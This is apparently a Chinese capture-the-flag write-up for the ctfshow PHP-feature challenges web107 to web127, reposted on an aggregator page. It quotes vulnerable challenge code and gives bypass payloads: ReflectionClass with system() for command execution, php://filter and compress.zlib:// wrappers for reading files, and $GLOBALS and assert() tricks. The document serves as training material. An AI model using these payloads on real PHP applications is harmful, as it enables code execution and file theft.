首页 > 编程语言 >PHP特性 web107-

PHP特性 web107-

时间:2024-04-13 16:55:43浏览次数:27  
标签:php GET flag 特性 v1 v2 web107 file PHP

Web107

parse_str函数

将前字符串解析到后边,实现变量的覆盖

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

传入v3为v3[] = 1,则md5返回为null,因此可以传入任意的v1,v2[flag]也为null

 

Web108

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
} //只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的,

 

 strrev() 函数反转字符串

intval() 函数用于获取变量的整数值

首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;

0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877所以payload为
?c=a%00778

Web109

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");

ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

payload:

v1=ReflectionClass&v2=system("ls")

?v1=ReflectionClass&v2=system("tac fl36dg.txt")

 

Web110

FilesystemIterator迭代器

利用 FilesystemIterator 获取指定目录下的所有文件 

 getcwd()函数 获取当前工作目录

 echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历

可以查看存在的文件,之后在url里访问得到的falg文件名称。

 

Web111($Globals)

首选需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1); }


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1"); }
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2"); }
if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2); }
    

 $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
因此构造payload为v1=ctfshow&v2=GLOBALS

 

Web112&Web114

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";

这里is_file进行判断,需要file为非文件类型才可以绕过判断,使用php伪协议,

php://filter/resource=flag.php 即可绕过查看flag.php

 

Web113

过滤了filter过滤器

多过滤了filter上一题的不能在继续使用,可以使用hint中的那个解法和上一题中的compress.zlib://flag.php

payload:

?file=compress.zlib://flag.php

 

 

Web114

在php中"36"是等于"\x0c36"的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36
此时$num不等于36,且为数字,trim以后也不等于36,且'\x0c36'=='36'

 

Web123

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;

在php中变量命名中我们是不能传入[、空格 +的。如果有则会被转化为_

所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),

但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

所以后面的.就可以使用了

因此我们可以post CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

 

Web125

和上一道题一样,多过滤了echo 和flag 我们可以利用可以新建一个文件其转折作用

CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

 

?1=flag.php

 

Web126(未做)

过滤了很多字母 highlight无法使用

这里使用了

GET:?$fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

 

Web127

extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值

举例就是?a=2,就会变成$a=2,这里ctf_show有个_需要构造,前面说过php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,这里空格没有被ban,所以我们就使用空格,payload为

?ctf show=ilove36d

 

 

标签:php,GET,flag,特性,v1,v2,web107,file,PHP
From: https://www.cnblogs.com/heck1ng/p/18133061

相关文章

  • 暖风机/寻线仪防干扰/防静电LCD液晶段码屏驱动芯片VK1C21A/B/C/D/DA/E/EA具备显示效果
    概述:VK1C21A/B是一个点阵式存储映射的LCD驱动器,可支持最大128点(32SEGx4COM)的LCD屏,也支持2COM和3COM的LCD屏。单片机可通过3/4个通信脚配置显示参数和发送显示数据,也可通过指令进入省电模式。具备高抗干扰,显示效果好,静电耐压高等优良特性,可替代市面上大部分LCD驱动芯片。 特点:......
  • php rsa长文加密解密
    密钥类型:1024bit:分段加密字节数为117,分段解密字节数为128。2048bit:分段加密字节数为245,分段解密字节数为256。 classRsaBill{private$public_key_resource;private$private_key_resource;publicfunction__construct(){$this->public_key......
  • FastAPI: 测试lifespan特性(转)
    addbyzhj:实践出真知,文章写得真不错,自己测试这些条件原文:FastAPI:experimentlifespanfeatureInitInFastAPI,oneofwayscreatingasharedresourceandlivingaslongasapplicationisupisusing lifespan featureinFastAPI.Thislifespanfeaturecandoc......
  • php heredoc 与 nowdoc
    在php开发中我们会很经常的使用到html,有时候是很大一段html,直接在php中去编写html很是不方便,相信很多同学都遇到过,不用担心php中的定界符heredoc和nowdoc会帮助我们的,那就让我们一起来看看吧!phpheredoc与nowdocheredoc结构heredoc句法结构:运算符之后要提供一个标识符,然后......
  • php的addslashes()函数
    PHPaddslashes()函数addslashes()函数是PHP的一个内置函数,它返回一个在预定义的字符前会添加反斜杠的转义字符串。可以注:它不会在参数中使用任何指定的字符。预定义的字符是:●单引号(')●双引号(")●反斜杠(\)●空(null)值基本语法:addslashes($string)参数: ......
  • php的isset、empty、is_null的区别
    isset判断变量是否定义或者是否为空变量存在返回ture,否则返回false变量定义不赋值返回falseunset一个变量,返回false变量赋值为null,返回falseempty:判断变量的值是否为空,能转换为false的都是空,为空返回true,反之返回false。"",0,"0",NULL,FALSE都认为为空,返回true没有任何......
  • PHP中双引号和单引号的区别
    双引号解释变量,单引号不解释变量双引号里插入单引号,其中单引号里如果有变量的话,变量解释双引号的变量名后面必须要有一个非数字、字母、下划线的特殊字符,或者用{}讲变量括起来,否则会将变量名后面的部分当做一个整体,引起语法错误双引号解释转义字符,单引号不解释转义字符......
  • Linux系统中如何部署php
    1.在线安装Apache服务器ubuntu可通过“apt”等命令在线安装,centos用yum。#ubuntusudoapt-getinstallapache2#centosyum-yinstallhttpd安装完成后需要手动启动apache服务.#ubuntusudo/etc/init.d/apache2start#centossystemctlrestarthttpd测试A......
  • docker 中使用 php--apache并加入 mysql 插件
    官方镜像说明页:可根据自己需要,选择对应版本的php进行下载。这里使用php7.4+apache服务的镜像为例:dockerpullphp:7.4.33-apache运行容器:dockerrun--namejiuta-php-apache-7.4-d-p9000:80\-v/mnt/datadisks/docker-root/jiuta/www:/var/www/html\--log-o......
  • php编写函数取得上一月的最后一天
    <?phpdate_default_timezone_set('PRC');/***获取给定月份的上一月最后一天*@param$datestring给定日期*@returnstring上一月最后一天*/functionget_last_month_last_day($date=''){if($date!=''){......